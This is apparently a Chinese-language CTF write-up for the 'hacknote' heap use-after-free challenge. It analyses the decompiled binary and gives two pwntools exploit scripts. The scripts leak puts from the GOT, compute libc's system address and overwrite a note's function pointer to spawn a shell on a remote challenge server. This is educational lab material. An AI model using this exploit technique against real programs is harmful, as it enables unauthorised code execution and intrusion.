堆UAF-hacknote
堆UAF-hacknote
堆的经典UAF漏洞
例题是hacknote
分析
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u); // cannany
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
可以分析出来v3是经过atoi
后的我们输入的菜单选项,也就是index
menu的功能如下所示
index == 1 : add_note()
index == 2 : del_note()
index == 3 : print_note()
index == 4 : exit(0)
else : goto LABEL_13 --> puts("Invalid choice")
add_note
unsigned int add_note()
{
int current_control_chunk; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(¬elist + i) ) // 判断notlist是否是空,如果是空,那么!取否后就是1也就是执行
{
*(¬elist + i) = malloc(8u);
if ( !*(¬elist + i) ) // malloc后如果内容还为空,则盘判定malloc出错
{
puts("Alloca Error");
exit(-1);
} // no use
**(¬elist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
current_control_chunk = *(¬elist + i);
*(current_control_chunk + 4) = malloc(size);
if ( !*(*(¬elist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(*(¬elist + i) + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
del_note
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + v1) )
{
free(*(*(¬elist + v1) + 1));
free(*(¬elist + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
print_note
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + v1) )
(**(¬elist + v1))(*(¬elist + v1));
return __readgsdword(0x14u) ^ v3;
}
其中(**(¬elist + v1))(*(¬elist + v1));
的作用是
print_note_content(子chunk)
即调用print_note_content函数,传入子chunk的地址,输出子chunk中的内容
漏洞
由于free(0)和free(1)的时候并没有清空指针,所以内存还是在占用的,除了将chunk的移到了bin中,其他的基本不变
而此时就可以通过申请一个新的堆块,大小设置为0x8就可以将free(1)后的堆空间作为2的堆(堆是后进先出)
此时,由于add的操作实则是申请了两块堆空间,一块是固定的8,一块是自己确定的也就是刚刚选择的大小0x8
*(¬elist + i) = malloc(8u);
*(current_control_chunk + 4) = malloc(size);
add(8)的操作先是*(¬elist + i) = malloc(8u)
申请了0x8的大小的堆块(固定),然后子chunk*(current_control_chunk + 4)
也申请了一个0x8大小的堆块(这个是我们定的size),而由于这两块bin靠的很近,所以*(current_control_chunk + 4)
所申请的0x8大小的堆块是free(0)的堆块。
此时free(*(¬elist + v1))
所free掉的1的控制chunk就变成了2的控制chunk,而0的控制chunk就变成了2的数据chunk
而此时就出现了UAF
泄露地址
攻防世界的这道题没有后门函数,所以需要自己篡改system
第一步就是要泄露出system
的真实地址
由于程序在启动menu的时候就调用了puts函数,所以got表中有puts函数的真实地址
因而攻击的想法就是把第一个chunk的打印我们写入内容的指令劫持,将要打印的地址改成got表中puts的地址
其中原本的print_note_content
地址如下
所以泄露地址传入的payload应为
add(0x8,p32(0x0804865B)+p32(elf.got['puts']) # print_note_content_addr + puts@got
此时再调用put_note去打印0的时候,因为控制chunk被篡改,打印出来的内容就变成了puts的动态地址
#!/usr/bin/python
#-*- coding: utf-8 -*-
'''
Author : MuRKuo
Email : 1442121990@qq.com
Create time : 2022-04-02 20:25
Filename : xielou.py
'''
#!/usr/bin/python3
#-*- coding: utf-8 -*-
'''
Author : MuRKuo
Email : 1442121990@qq.com
Create time : 2022-04-02 00:19
Filename : me.py
'''
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
esb = lambda x: elf.sym[x]
esh = lambda x: next(elf.search(x))
ep = lambda x : elf.plt[x]
eg = lambda x : elf.got[x]
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
pr = lambda x: print(x)
#p = process('./hacknote')
p = remote('111.200.241.244',58583)
elf = ELF('./hacknote')
libc = ELF('./libc_32.so.6')
def add(size,content):
sla(b':','1')
sla(b':',str(size).encode())
sla(b':',content)
def del_note(index):
sla(b':','2')
sla(b':',str(index).encode())
def print_note(index):
sla(b':','3')
sla(b':',str(index).encode())
#debug()
add(0x20,b'AAAA')
#debug()
add(0x20,b'aaaa')
del_note(0)
del_note(1)
add(8,p32(0x0804862B) + p32(elf.got['puts']))
#add(8,b'+\x86\x04$\xa0\x04')
print_note(0)
pr(p.recv())
#pr(p.recv(4))
puts_addr = u32(p.recv(4))
print(puts_addr)
这里面之所以在p.recv(4)
之前先p.recv()
是因为执行后会先输出一个b'Index :'
然后才是地址
注意:
仔细看关于menu
的功能的def,会发现我在所有的str(index)
后面都加了一个.encode()
这里由于我使用的是python3环境,在python3环境里str()
默认是以Unicode
编码的格式,这里需要转成UTF-8
的编码格式,所以使用encode()
函数转化成UTF-8
的格式
另外说一句,这也是为啥好多的py2写的脚本py3无法运行的原因之一,py2的str()
是UTF-8
编码,而py3是Unicode
攻击
前面已经通过泄露求出来了偏移,并且计算得到了system
的真实地址
下面的流程和上面类似,只不过这一次连print_note_content
也要篡改成system的真实地址
调用print_note
的时候相当于执行了system(system_addr;sh\00)
因为system中默认接受的参数是自己的地址参数,所以后面要用;分割执行另一条指令
#!/usr/bin/python
#-*- coding: utf-8 -*-
'''
Author : MuRKuo
Email : 1442121990@qq.com
Create time : 2022-04-02 00:19
Filename : me.py
'''
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
esb = lambda x: elf.sym[x]
esh = lambda x: next(elf.search(x))
ep = lambda x : elf.plt[x]
eg = lambda x : elf.got[x]
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
pr = lambda x: print(x)
#p = process('./hacknote')
p = remote('111.200.241.244',58583)
elf = ELF('./hacknote')
libc = ELF('./libc_32.so.6')
# menu
def add(size,content):
sla(b':','1')
sla(b':',str(size).encode())
sla(b':',content)
def del_note(index):
sla(b':','2')
sla(b':',str(index).encode())
def print_note(index):
sla(b':','3')
sla(b':',str(index).encode())
# 泄露地址
#debug()
add(0x20,b'AAAA')
#debug()
add(0x20,b'aaaa')
del_note(0)
del_note(1)
add(8,p32(0x0804862B) + p32(elf.got['puts']))
print_note(0)
p.recv()
puts_addr = u32(p.recv(4))
# 计算偏移
offset = puts_addr - libc.sym['puts']
system_addr = offset + libc.sym['system']
# 攻击
del_note(2)
add(8,p32(system_addr)+b'||sh\00')
print_note(0)
shell()